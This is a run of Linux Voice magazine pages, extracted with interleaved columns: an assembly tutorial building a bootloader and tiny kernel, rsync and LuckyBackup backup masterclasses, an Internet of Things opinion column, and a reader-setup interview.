                             on that later.)
                                You can get the code for this tutorial from                           cld                                ; Clear direction
                             www.linuxvoice.com/code/lv015/asmschool.zip.                   flag
                             Here’s boot.asm, our bootloader:
                                        BITS 16                                                       mov si, kern_filename
                                                                                                      call load_file
                                         jmp short start     ; Jump past disk description
Our operating system in
action, showing the                      nop                            ; Pad out before              jmp 2000h:0000h         ; Jump to loaded kernel
prompt, a command, and       disk description
running a program from                                                                                kern_filename           db “MYKERNELBIN”
the disk.                               %include “bpb.asm”
                                                                                                      %include “disk.asm”


                                                                                                      times 510-($-$$) db 0 ; Pad to 510 bytes with zeros
                                                                                                      dw 0AA55h             ; Boot signature


                                                                                            buffer:                           ; Disk buffer begins
                                                                                              Here, after the BITS directive telling the NASM
                                                                                            assembler that we’re in 16-bit mode, the first CPU
                                                                                            instruction is jmp. You will recall from last month that
                                                                                            execution begins right at the start of the 512 bytes
                                                                                            that the BIOS loads from the disk, but we need to
                                                                                            jump past a special chunk of data here. You see, for
                                                                                            our demo last month, we simply injected the code into
                                                                                            the start of the disk (using dd) and left the rest of the
                                                                                            disk blank.
                                                                                              This time, we need to use a proper floppy disk in
                                                                                            MS-DOS (FAT12) format, and for this to work properly,



106                                                            www.linuxvoice.com
                                                                                                       MACHINE CODE CODING

we need to include some special data near the start of
the sector. This is called the BIOS Parameter Block
(BPB), and provides detail such as the label, number of
sectors and so forth. This doesn’t interest us now, as
it’s a topic that warrants its own set of tutorials, so
we’ve placed the details in a separate file, bpb.asm.
    Now, this line in our code is important:
          %include “bpb.asm”
  This is a NASM directive, and includes the contents
of the specified file inside the current one during
assembly. In this way, we can keep our bootloader
code neat and tidy, leaving the BPB details in a
separate file. The BPB begins three bytes after the
start of the sector, and because the jmp instruction
only takes up two bytes, we have a “nop” (no operation
– an instruction that does nothing but waste CPU
cycles) to use up an extra byte.

Stack it up
Next up we have the same instructions to set up the
data registers and stack, as per last month, along with
a cld (clear direction) instruction, which determines
that certain instructions such lodsb work forwards
during operation, incrementing SI rather than
decrementing it.
   Next, we place the location of a string inside the SI
register and call our load_file routine. But hang on a
                                                                                                                       Nothing beats seeing your
minute – we haven’t even written this routine yet!         floppy disks. That’s just the way it works internally in
                                                                                                                       work (and reflection)
That’s true, but this is inside another file that we       FAT12, and we save space here by making sure our            running on real hardware
include, disk.asm.                                         load_file routine doesn’t have to parse out the full stop   – it’s geektastic!
   FAT12, as used on DOS-formatted floppy disks, is        and convert the filename to the internal format.
one of the simplest filesystem formats in existence           After the line that includes disk.asm, we have the
but still requires a good deal of code to parse. The       two lines that pad out the boot loader to 512 bytes
load_file routine is around 200 lines long, and as we’re   and include a signature (as explained last month).
focusing on OS development here and not specific           Finally, we have a label called “buffer” which is used
filesystems, we didn’t want to print it in the magazine    by the load_file routine. Essentially, load_file needs an
and waste space. So, we include disk.asm near the          empty space of RAM to do some temporary work
end of our code, and can forget about it. (If you’re       when finding a file on the disk, and we have plenty of
interested in exploring FAT12, however, see http://        free space after where the boot loader is loaded, so
tinyurl.com/fat12spec for a good overview, and then        we just place the buffer there.
have a nosey around inside disk.asm – the code is             To assemble the bootloader, use:
well commented.)                                           nasm -f bin -o boot.bin boot.asm
   Anyway, the load_file routine loads the filename           Now we want to create a virtual floppy disk image
specified in the SI register to segment 2000, location     in MS-DOS format, and inject our bootloader into the
0, so we then jump to that code to execute it. That’s      first 512 bytes like so:
it – the kernel is loaded, and the bootloader has done     mkdosfs -C floppy.img 1440
its job!                                                   dd conv=notrunc if=boot.bin of=floppy.img
   You’ll notice that the kernel filename in our code is     And we’re done! We now have a bootable floppy
MYKERNELBIN and not MYKERNEL.BIN as you                    disk image that will load mykernel.bin and execute it.
might expect in the old 8+3 filename scheme of DOS         Next up is the fun part – writing a kernel…


  2   KERNEL TIME
We want our kernel to perform a handful of essential                  mov ds, ax
tasks: print a prompt, take input from the user, see if               mov es, ax
it’s a command, or execute another program on the
disk if specified. Here’s the code, as provided in         loop:
mykernel.asm:                                                         mov si, prompt
          mov ax, 2000h                                               call lib_print_string



                                                             www.linuxvoice.com                                                             107
      CODING MACHINE CODE

                                mov si, user_input                                         asmschool.zip bundle on our website. This is a library
                                call lib_input_string                                      of useful screen, keyboard, string and disk routines
                                                                                           that you can use – and in this case, we tack it onto the
                                cmp byte [si], 0                                           end of our code, to keep our main kernel code small
                                je loop                                                    and sweet. See the boxout for more information on
                                cmp word [si], “ls”                                        the routines provided in lib.asm.
                                je list_files                                                 So, in the first three lines of our kernel we set up our
                                                                                           segment registers to point to the segment in which we
                                mov ax, si                                                 were loaded – 2000. This is important to make sure
                                mov cx, 32768                                              that instructions like lodsb work properly, reading from
                                call lib_load_file                                         the current segment and not somewhere else. We’re
                                jc load_fail                                               not going to do anything else with segments after this
                                                                                           point, though; our operating system will do everything
                                call 32768                                                 in 64k of RAM!
                                jmp loop                                                      Next up, we have a label that marks the beginning
                                                                                           of a loop. First of all, we use one of the routines in
                  load_fail:                                                               lib.asm, lib_print_string, to print a prompt to the
                                mov si, load_fail_msg                                      screen. The 13 and 10 bytes before the prompt text
                                call lib_print_string                                      are newline characters, so that the prompt isn’t printed
                                jmp loop                                                   directly after the output of any program, but always on
                                                                                           a new line.
                  list_files:                                                                 Then we use another lib.asm routine, lib_input_
                                mov si, file_list                                          string, which takes keyboard input from the user and
                                call lib_get_file_list                                     stores it in the buffer pointed to by the SI register. In
                                call lib_print_string                                      our case, the buffer is defined near the bottom as:
                                jmp loop                                                              user_input times 256 db 0
                                                                                           This defines a buffer of 256 zeroed-out bytes – surely
                                prompt                db 13, 10, “MyOS > “, 0              enough for a command line on a simple operating
                                load_fail_msg         db 13, 10, “Not found!”, 0           system like ours!
                                user_input times 256 db 0                                    Then we perform a check on the input. If the first
                                file_list  times 1024 db 0                                 byte in user_input is zero, then the user pressed Enter
                                                                                           without typing anything; remember that strings are
                                %include “lib.asm”                                         terminated by zeros. So if this happens, we just jump
                    Before we go through this, note that the final line                    back up to the loop and print the prompt again. If the
                  includes lib.asm, which is also provided in the                          user has entered something, however, we first do a


                     Routines in lib.asm
                     As mentioned, lib.asm provides a bunch of useful routines to            comma-separated, zero-terminated list of filenames on the
                     use in your kernel and standalone programs. Some of these               disk.
                     use instructions and concepts that we haven’t touched on in             lib_load_file Takes AX as filename and loads it to position
                     this tutorial series yet, and others (like the disk ones) delve         CX. Returns BX containing number of bytes loaded (ie the
                     into the world of filesystems, but if you’re feeling confident          filesize), or carry set if file not found.
                     you could have a peek inside and see how they work. Most                 Try including lib.asm in your standalone programs (eg at
                     importantly, though, here’s how to call them from your code:          the end of test.asm) and see what you can do.
                        lib_print_string Takes the location of a zero-terminated
                        string in the SI register and displays it.
                        lib_input_string Takes the location of a buffer in SI, and fills
                        it with keyboard input from the user. When the user hits
                        Enter, the string is zero-terminated and control returns to
                        the calling program.
                        lib_move_cursor Moves the cursor on the screen to the
                        positions in the DH (row) and DL (column) registers.
                        lib_get_cursor_pos Call this to get the current row and
                        column in DH and DL respectively.
                        lib_string_uppercase Takes the location of a zero-
                        terminated string in AX, and converts it to uppercase.
                        lib_string_length Takes the location of a zero-terminated
                        string in AX, and returns its length in AX.
                        lib_string_compare Takes locations of two zero-terminated
                        strings in SI and DI, and compares them. Sets the carry flag
                        if the same (for jc instructions), or clears if different (jnc).   There’s lots of useful stuff in lib.asm – have a good
                        lib_get_file_list Takes a buffer in SI and populates it with       look around inside.




108                                                       www.linuxvoice.com
                                                                                                                MACHINE CODE CODING

check to see if they typed ls. So far, you’ve seen that
we’ve done comparisons on bytes in our assembly
programs, but it’s also possible to perform
comparisons on double-byte values – aka words.
Here, we compare the first word stored in user_input
with ls, and if so, jump to a chunk of code below. In
that chunk, we use another lib.asm routine to get a
comma-separated list of files from the disk (which we
store in our file_list buffer), print it to the screen, and
go back to the loop for more input.

Take a load off
If the user hasn’t entered ls, we assume they’ve
entered the name of a program on the disk, so we try
to load it. Our lib.asm file includes a handy lib_load_
file routine that does all the hard work of parsing the
                                                                                                                            The OS we’ve made is like
FAT12 tables on the disk: it takes a filename string
                                                                                                                            a very simple version of
location in AX, and a position to load the file in CX. We        Note the funny bits at the end here: colon, colon,         MikeOS (http://mikeos.
already have the user input in SI, so we copy that into       slash. Now we’re almost ready to go, but what fun is          sf.net), so see its code for
AX, and then we put 32768 in CX as the loading point.         an operating system if it doesn’t have any programs           inspiration.
    But why this point specifically? Well, it’s just a        to load? Let’s fix this by writing a really quick one. Yes,
design choice in the memory map of our operating              you are now going to write software for your own OS
system. Because we do everything inside a 64k                 – think of the geek points you’re earning. Save this as
segment, and our kernel is loaded at position 0, we           test.asm:
might as well use the first 32k for the kernel, and the                  org 32768
second 32k for programs that we load. So 32768 is
the halfway point in our segment, and gives plenty of                    mov ah, 0Eh
room for both the kernel and programs.                                   mov al, ‘X’
    Now, the lib_load_file routine does something                        int 10h
important: if it can’t find the file on the disk, or has                 ret
some kind of problem reading the disk, it will quit out          This simply uses the BIOS to print the letter ‘X’ to
and set the carry flag. This is a status flag on the CPU      the screen, and then returns to the calling code – in
that is set during certain math operations, and doesn’t       this case, our operating system. The org bit at the
interest us here – but we can use the presence of the         start isn’t a CPU instruction but a directive to NASM,
flag to perform quick decisions. If lib_load_asm has          telling it that the code will be loaded at 32768, so it
set the carry flag, we jc – jump if carry – to a chunk of     should calculate offsets accordingly.
code that prints an error message and then returns to            Assemble it and add it to the floppy image thusly:
the loop.                                                     nasm -f bin -o test.bin test.asm
    If the carry flag hasn’t been set, however, then          mcopy -i floppy.img test.bin ::/
lib_load_asm has successfully loaded the file to                 Now take a deep breath, prepare for awesomeness,
32768. So all we need to do now is call that location,        and boot the disk image in a PC emulator like Qemu or
to run the program we loaded! And when that                   VirtualBox. For instance:
program uses ret (to return to the calling code), we          qemu-system-i386 -fda floppy.img
simply continue the loop. That’s it – a very simple              Et voilà: the boot.bin bootloader that we injected
command parser and program loader, in just 40 lines           into the first sector loads mykernel.bin, which then
of assembly, admittedly with plenty of help from              presents you with a prompt. Enter ls to see the two
lib.asm.                                                      files on the disk (mykernel.bin and test.bin), and enter
    To assemble the kernel, use:                              the latter filename to run it and display the letter X.
nasm -f bin -o mykernel.bin mykernel.asm                         How cool is that? Now you can begin customising
   After this, we need to add mykernel.bin to the             your operating system’s command line, add other
floppy disk image somehow. If you’re familiar with            commands, and add more programs to the disk. To
loopback mounting, you could access floppy.img that           try it on a proper PC, see the “Running on real
way, but a simpler approach is to use the GNU Mtools          hardware” boxout in last month’s tutorial – the
(www.gnu.org/software/mtools). This is a suite of             commands are exactly the same. Next month we’ll
programs for working with MS-DOS/FAT12 formatted              make our OS more powerful by letting loadable
floppy disks, and it’s available in the package               programs use system routines, thereby sharing code
repositories of all major distros, so grab it with            and reducing duplication. Much winning awaits.
apt-get, Yum, Pacman or whatever your distro uses.
   Then add mykernel.bin to floppy.img like so:                Mike Saunders has written a whole OS in assembly
                                                               (http://mikeos.sf.net) and is contemplating a Pi version.
mcopy -i floppy.img mykernel.bin ::/



                                                                www.linuxvoice.com                                                                  109
       MASTERCLASS BACKUP TOOLS




                              MASTERCLASS
                              Sail through moments of anguish and despair brought about
   BEN EVERARD                by failed disks by backing up your data in multiple locations.



 MAKE DUPLICATE COPIES OF
 DATA WITH RSYNC
 There’s strength in numbers.


                              T
                                        he Linux ecosystem has lots of command line       subdirectories, links, and other file types. Once the
MAYANK SHARMA                           utilities for backing and restoring data. Rsync   files have been copied, type
                                        is one of the most popular ones that’s            ls -l /home/mayank /media/backup/mayank
                              commonly used for copying and synchronising files           and you’ll notice that the date and timestamps on
                              and directories. You can use it to easily ferry files       both the original and the backed-up files are the same.
                              locally between drives or remotely between two                 Notice that there’s no trailing slash after /home/
                              computers over the network. In fact, you can use            bodhi. Without that trailing slash, rsync will copy files
                              rsync to back up web servers and mirror websites            from that directory to a target directory named bodhi
                              with a single command.                                      (/media/backup/bodhi). Had we put a trailing slash,
                                 What makes rsync so useful is the rsync algorithm,       rsync would have copied all files from /home/bodhi
                              which compares the local and remote files one small         directly to the backup directory (/media/bodhi/stuff/).
       PRO TIP                block at a time using checksums, and only transfers         Keep this in mind and pay close attention to the
  Use the --dry-run option    the blocks that are different. If you’re copying over the   trailing slashes when copying to a location with
  to run rsync without        network, rsync compresses these tiny blocks on the          existing data.
  actually transferring the
                              fly before sending them over the wires which further           Now let’s examine the options. The -a (archive)
  files. Review the output
  and if its on expected      helps cut down the file transfer time. For such             option preserves all ownership, permissions, and
  lines, rerun the rsync      network transfers, rsync is usually clubbed with SSH        creation times on the copied files. The -h option
  command without
                              to encrypt the data transfer for added security.            presents the -v (verbose) output (transfer rate and file
  --dry-run.
                                 Rsync is available in the official repos of almost       sizes) in terms that are easier to comprehend.
                              every distro. Users of Deb-based distros such as               The -W option asks rsync to copy whole files and
                              Debian and Ubuntu can install it with sudo apt-get          not bring the delta transfers algorithm into play. This
                              install rsync. Similarly, users of RPM-based                helps reduce the load of the machine when making an
                              distributions such as Fedora can fetch it with sudo         initial transfer. The --no-compress option also helps
                              yum install rsync.                                          ease the load off the processor by asking rsync not to
                                 Let’s use rsync to back up a home directory on to        compress the data before sending it out, since we’re
                              another a mounted disk.                                     copying the files between local drives.
                              rsync -avhW --no-compress /home/mayank   /media/backup/        After a few days, you might like to repeat the
                                This command copies the entire content of the             command without the -W option, such as:
                              /home/mayank directory including files,                     rsync -avh --no-compress /home/mayank     /media/backup/
                                                                                             This time around rsync copies only the new files
                                                                                          under the /home/bodhi directory to the backup
                                                                                          directory along with any changes to the original
                                                                                          backed up files. You can schedule and run this
                                                                                          command at regular intervals to maintain a backup of
                                                                                          the home directory.
 Rsync is the secret sauce
 behind several graphical                                                                    Note that while rsync will add any new files in the
 tools such as LuckyBackup,                                                               backup, it will not delete any files from the backup
 which is covered over the                                                                target that you have zapped from the original location
 page.                                                                                    unless you specifically ask it to. Many users use rsync



 110                                                          www.linuxvoice.com
                                                                                                   BACKUP TOOLS MASTERCLASS

to maintain an exact replica of a directory. You can
use the --delete option to ask rsync to delete files
in the backup target that were removed from the
original location.

Remote backups
In the real world you would want to store backups on
a remote machine, and rsync is adept at ferrying files
across the network. For network backups, rsync is
usually clubbed with SSH, which ensures that the data
is transferred over an encrypted medium.
   It goes without saying that you’ll have to install and
enable SSH on the remote machine. If you can
connect to it with the ssh command you’re good to
go. Furthermore, you’ll also have to install rsync on the
remote machine as well.
                                                                                                                                You can find loads of
rsync -azvh -e ssh /home/mayank bodhi@192.168.2.10:/           day of the week, such as /media/backup/backup_
                                                                                                                                interesting rsync-based
media/backup                                                   Monday. Over a week, seven directories will be                   scripts on the web that you
   This command does the same backup as before,                created that reflect changes over each of the past               can adapt to your needs.
but this time the files are copied over to a mounted           seven days.
location on a remote machine. The remote machine is
specified before the remote directory name separated           Other useful options
by a colon. The command also introduces two new                The rsync command has dozens of options. We’ve
options. In addition to the -a (archive) and -v (verbose)      already used the most common ones to sync and
options, the -z option asks rsync to compress the data         back up files and folders, in the examples above. Here
before sending it over the wires. The -e option is used        are some more options that’ll help you use rsync
to specify the remote shell, which in this case asks           more precisely.
rsync to use the SSH remote shell to transfer data.               First up are the --include and --exclude options. As
   Just like before, you can repeat this command               you can guess, these can be used to control which
again, as is, to back up the files to the remote location,     files are backed up and which aren’t. For example, the               PRO TIP
copying over only the differences over a secure                following command will only back up files and                     Use the --progress option
channel after compressing them. In a production                directories that start with ‘spec’ and ignore the rest:           to track the status of an
environment, you’d want to run the command as a                rsync -avzh e ssh --include ‘spec*’ --exclude ‘*’ /home/mayank    ongoing transfer.
cron job to back up files at regular intervals after           bodhi@192.168.2.10:/media/backup
setting up SSH to allow password-less logins for the              Similarly you can also specify a ceiling size for files
user who is going to perform the backup.                       to be copied with the --max-size option. Any files
   You can also add the --delete option to make sure           beyond this specified size are ignored and aren’t
the destination is an exact replica of the original. Since     copied. In the following example, rsync will only copy
this option will remove any deleted files, it’s best used      files that are less than 100MB in size:
with the --backup option, which make copies of files           rsync -avzh --max-size=100m ~/Downloads /media/backup
in the backed up location that have been deleted or               In the same vein, you can use the --min-size option
updated in the original location. The --backup option          to ignore files that are smaller than the specified file
is used together with the --backup-dir option to               size. However, please note that both these options are               PRO TIP
specify the location of the original files along with a        transfer rules only. This means that they only help the           Instruct rsync on how to
suitable suffix to identify them.                              receiver limit the files to be transferred, and will have         handle symbolically
                                                                                                                                 linked files. The --links
rsync -avzh --delete --backup --backup-dir=backup_`date +%A`   no affect whatsoever on the deletions.
                                                                                                                                 option copies the
/home/mayank /media/backup                                        If you are using rsync to ferry a lot of data, the             symbolic link files while
   Like before, this command will make an exact                command might dominate the resources and                          --copy-links copies the
                                                                                                                                 file that the symbolic link
replica of the /home/mayank directory under the                overpower the system and make it unresponsive. To
                                                                                                                                 ultimately points to.
/media/backup/current-backup directory. But when               avoid such a situation you can throttle the network I/O
you run this after the contents of the original /home/         bandwidth with the --bwlimit option. For example, the
mayank directory have changed, the extra options in            following command limits the maximum transfer rate
this command (--backup and --backup-dir) will move             to 100 KB/s:
the files that have been changed or deleted in the             rsync -avzh --delete --bwlimit=100 ~/Downloads /media/
original location under a time-stamped directory on            backup
the destination before removing them.                            There’s a lot more you can do with rsync. In this
   By preserving the original files inside a time-             Masterclass we’ve introduced some of the most
stamped directory, the previous command helps you              common use cases and the options that are used to
create a weekly incremental backup. All files modified         execute them. However, rsync supports a lot more
every day are copied to a directory named after the            options that are detailed in its man page.



                                                                 www.linuxvoice.com                                                                       111
       MASTERCLASS BACKUP TOOLS



 SYNC AND BACK UP WITH
 LUCKYBACKUP
 Make sure luck is on your side when the hard disk fails.


                                     Y
                                               ou could roll yourself a pretty good backup
                                               script with rsync, ssh, cron and a few other
MAYANK SHARMA                                  Linux tools. But if that sounds too complicated
                                     or time-consuming, you could head to your distro’s
                                     package manager and grab LuckyBackup. With
                                     LuckyBackup you get all the advantages of rsync with
                                     the added convenience of a graphical interface.
                                        When you launch LuckyBackup for the first time,
                                     create a new profile. You can then store different
                                     backup sets within each profile.
                                        Begin by clicking the Add button, which will open up            luckyBackup is very flexible and lets you create as many
                                     the Task Properties window. In this window you’ll need             tasks as you want that you can group them inside
                                     to fill out a few details about the backup. In the Name            multiple profiles.
                                     field, enter some text to identify this task from the
                                     others, such as “Backup Documents to USB”. Next,                   contents of the source and the destination directories
                                     point to the directory you wish to back up (such as                are the same.
                                     ~/Documents) and the destination where you want it                     At the bottom of the interface, there’s a checkbox
                                     saved (such as /media/USB).                                        labelled ‘Do NOT create extra directory’. By default it’s
                                        Remember that you can only add one directory per                unchecked and asks LuckyBackup to back up files
                                     task. If you need to back up multiple directories, you’ll          after creating a new directory inside the destination
     PRO TIP
                                     need to create a different task for each source. It                directory with the same name as the source directory.
  The simulation feature by
  itself doesn’t prevent data
                                     might seem a bit inconvenient at first, but the                    If, however, you just wish to back up the contents of
  loss. Carefully peruse the         advantage of creating separate tasks is that you can               the directory and not the directory itself, then make
  output and make sure               back up different directories in different ways, to                sure you toggle the checkbox. Next to it is a spin-box
  there aren’t any
  accidental deletions.
                                     different location and even schedule them to run at                using which you can define the maximum number of
                                     different times and intervals.                                     backup snapshots you want LuckyBackup to preserve.
                                        When adding a task, pay close attention to the                  By default the tool will only preserve a single snapshot
                                     Backup Type field. The default backup option                       but you can ask it to store up to 500 snapshots.
                                     performs a full backup and copies the contents of the                  When you have created all your backup and sync
                                     source directory under the destination directory. Then             tasks, you can use LuckyBackup to schedule them. In
                                     there’s the Synchronise option, which ensures that the             the Task List window, select the task you wish to
                                                                                                        schedule and head to Profile > Schedule. In the
                                                                                                        Schedule window click the Add button to open the
   Password-less SSH logins
                                                                                                        scheduler. Here you can set the interval for the
   If you are backing up data to a remote              the remote machine. For now, make sure you       execution of the task. Back in the Schedule window,
   machine, by default, LuckyBackup will prompt        don’t enter a password when generating a         select the just added schedule and click the cronIT!
   you for the password of the remote host             key and just hit Enter when prompted.
                                                                                                        button, which will then create a cron job for the
   before establishing the SSH connection. This            Once the keys have been generated, copy
   works for manual backups, but isn’t really          the public key to the server with the            backup task.
   feasible for unattended scheduled backups.          ssh-copy-id -i .ssh/id_rsa.pub username@
   If you want to schedule a remote backup you         remotehost command. Make sure you                Remote backups
   will have to set a secure shell up to do            replace username with the user you will log      One of the greatest strengths of rsync is its ability to
   password-less authentication. Be warned             in as on the remote SSH server and replace
                                                                                                        perform remote backups and synchronisation. This
   though that a password-less SSH login isn’t         remotehost with the IP address or hostname
   considered a best practice from a security          of the remote machine.                           functionality flows down to LuckyBackup as well. While
   point of view.                                          To test the password-less login, try         adding a task, click on the Advanced button to reveal
       To set it up, first head to the local machine   establishing an SSH connection to the            more options. Using this Advanced section you can
   from where the connection to the remote             remote SSH server from the local machine. If     set up exclusions, configure remote options,
   SSH server will be established and the data         all goes well, instead of being prompted for a
                                                                                                        customise command options, and a lot more.
   will be backed up. On this machine, type            password, you should be allowed inside
   ssh-keygen -t rsa. This command will                without being prompted for a password. You          If you’re backing up something like your home
   generate a pair of public and private keys.         can now use LuckyBackup to schedule and          directory, you might want to exclude preserving
   Later on you’ll copy over the public keys to        run unattended remote backups.                   locations that house things like temporary files and
                                                                                                        cache. The Exclude tab has pre-defined options that



 112                                                                       www.linuxvoice.com
                                                                                              BACKUP TOOLS MASTERCLASS




                                                                                                                           When viewing backup
let you select commonly ignored locations and also        destination for the backups is available and
                                                                                                                           snapshots, LuckyBackup
lets you define your own. Similarly, switch to the        accessible.
                                                                                                                           will also let you view the
Include tab to specify folders that shouldn’t be             The first task when you launch LuckyBackup is to              differences between the
excluded from the backup. If you select the Only          import the original backup profiles. These are                   source and the selected
Include option under this tab, LuckyBackup will only      automatically backed up along with the data. To                  snapshot.
back up the mentioned folders and ignore the rest.        reinstate them, head to Profile > Import and navigate
   To do a remote backup, you’ll have to use the          to the destination directory. The profile is housed in a
superuser version of LuckyBackup and then head to         hidden directory named .luckybackup-snapshots.
the Remote tab. After enabling the checkbox to use a         Once the profile has been imported, you’ll be able to
                                                                                                                                PRO TIP
remote host, you’ll first have to specify whether the     see all the backup tasks. However, instead of backing
                                                                                                                            The ‘Also execute’
remote host will act as a                                                                up data, you now want to           advanced option can be
destination for the data or
the source. The latter option
                               “LuckyBackup does justice                                 restore it. To do this, head to
                                                                                         Task > Manage Backup,
                                                                                                                            used to sanitise the
                                                                                                                            backup data or to make
is used when defining          to its rsync underpinnings                                which displays a browsable
                                                                                                                            sure a remote backup
                                                                                                                            location is mounted and
restoration tasks. Also make
sure that the destination
                               and is loaded with features.”                             list of all the backup
                                                                                         snapshots. Select the
                                                                                                                            available.

path specified exists in the                                                             snapshot you wish to
remote computer. Next, enter the IP address or the        restore and click on the Restore button. The app will
hostname of the remote machine and the username           show you a dialog box confirming the location of the
you wish to login as.                                     backed up data and its original location. By default,
   You will also need to select the SSH checkbox. Then    LuckyBackup will restore the data to its original
hit the Browse button corresponding to the ‘private       location, but also gives you the option to restore the
                                                                                                                                PRO TIP
key file’ field and point it to the known_hosts files     data elsewhere.
                                                                                                                            You can even configure
under the hidden .ssh directory. When you run the            That’s all there is to it. The tool does justice to its        LuckyBackup to send you
backup, you’ll be prompted for the password for the       rsync underpinnings and is loaded with features that              an email if a scheduled
remote user. Once you’ve entered everything, use the      are cleverly tucked away so as to not intimidate new              task errors out.
Validate button to ensure your backup settings are        users. Play around with the tool and fine-tune it as per
good to go.                                               your requirements, but make sure you use the Dry
                                                          Run option while you’re learning to avoid accidentally
Restore backups                                           zapping files.
When the inevitable happens and you need to restore
data from your backup, first make sure that you install
LuckyBackup inside the new Linux installation on the       Mayank Sharma has been finding productive new ways to
                                                           mess about with free software for years now.
restored computer. Next, make sure that the previous



                                                            www.linuxvoice.com                                                                     113
      /DEV/RANDOM/




Final thoughts, musings and reflections
                           Nick Veitch
                           was the original editor                                        Vim cheat sheet.
                                                            Hofbräuhaus Maßkrug           I’m learning bit
                           of Linux Format, a               - only with juice during      by bit.
                           role he played until he          the day, of course.
                           got bored and went
                           to work at Canonical
                           instead. Splitter!                                                                              MacBook Pro running the best
                                                                                                                           OS for it: Xubuntu 14.10!




T
         he world has been told repeatedly for the
         last 10 years that the “Internet of Things”
         is coming. Ever since the first web-
                                                                                                                         Nintendo 64 joypad for
enabled coffee machine, humanity has been                   Raspberry Pi, currently                                      more emulation antics.
secretly yearning for the day when our toasters             running RetroPie.
can send us emails to tell us when they have
popped up. I say secretly, because not many

                                                        My Linux Setup Mike Saunders
people realise how useful it will be to remotely
control the temperature of their shower from
anywhere in the world. Any lingering doubts have
been quashed by Facebook’s recent revelations           Linux Voice scribe, N64 fan and assembly maniac.
that it will actually be running the IoT (http://goo.
gl/ZLX86B). Well, that makes more sense. I can’t                What version of Linux are you                       What Free Software/open source
wait to ‘Like’ my dishwasher finally getting that               using at the moment?                                can’t you live without?
experimental lasagne off my cookware, and to                    Xubuntu 14.10. It works really well                 Oh, so much. Even though I don’t
de-friend the bathroom scales.                                  on the Mac, apart from the webcam                   use Vim very often, when I need to
                                                        – but at least I know I’m not being spied            do complicated editing tasks, it’s simply
I’m sorry Nick, I can’t do that                         upon. I should get round to installing               the best thing in existence (in my humble
Preparing for every eventuality and future-             15.04. And that means that, for a desktop,           opinion). Firefox is still the most
proofing is one thing, but the additional overhead      it’s Xfce all the way. I’ve mostly used lighter      trustworthy browser, and LibreOffice helps
of putting a full TCP/IP stack, Wi-Fi drivers and       window managers over the years, but Xfce             with magazine making jobs. Gimp’s
more computing power than the Apollo space              has more functionality without being                 interface leaves a lot to be desired, but I’ve
program into every lightswitch is going to drive        bloated or complicated.                              tweaked my brain to accept its quirks and
up the costs somewhat, never mind the power                                                                  use it a lot.
requirements. I am unconvinced by the necessity                 What was the first Linux setup
of a Wi-Fi washing machine (http://goo.gl/                      you ever used?                                      What do other people love but
Sxf578), and wonder how long it will be before                  That would be Red Hat 5.1, from the                 you can’t get on with?
some virus will remotely lock the door and refuse               cover of the long-defunct PC Direct                 The obsession with “user
to let me have my socks until I PayPal $20 to an        magazine in the UK. It was advertised as                    experience”. I don’t want a “text
anonymous account. I wonder why I switched all          the “operating system of the future” –               editing experience” – I want to edit text. I
the lighting in my house to LEDs (saving about          which turned out to be true, at least for            don’t want a “file managing experience” – I
1kWh per day) so all the extra ergs could go            servers and mobile phones! I’d come from             want to manage files. So many well
towards my toothbrush talking to my fridge.             an Amiga background, and spent a few                 established designs and concepts,
   It is easy to poke fun. There are useful             years on Windows after Commodore and                 fine-tuned over many years, are being
protocols and useful things to be done. Just            Escom messed everything up                           discarded because everything should
don’t expect them to come from everyone who             spectacularly, but I really wanted                   make you go “wow”, apparently. No
thinks you need to add the functional equivalent        something better. Linux provided just that:          thanks, just let me get on with my work. If
of a smartphone everything in your home.                openness, great technology, and a superb             I want to be wowed, I’ll play a game. And
Especially not the drinks cabinet.                      (if very vocal) community.                           get off my lawn.



114                                                             www.linuxvoice.com
CC-BY SA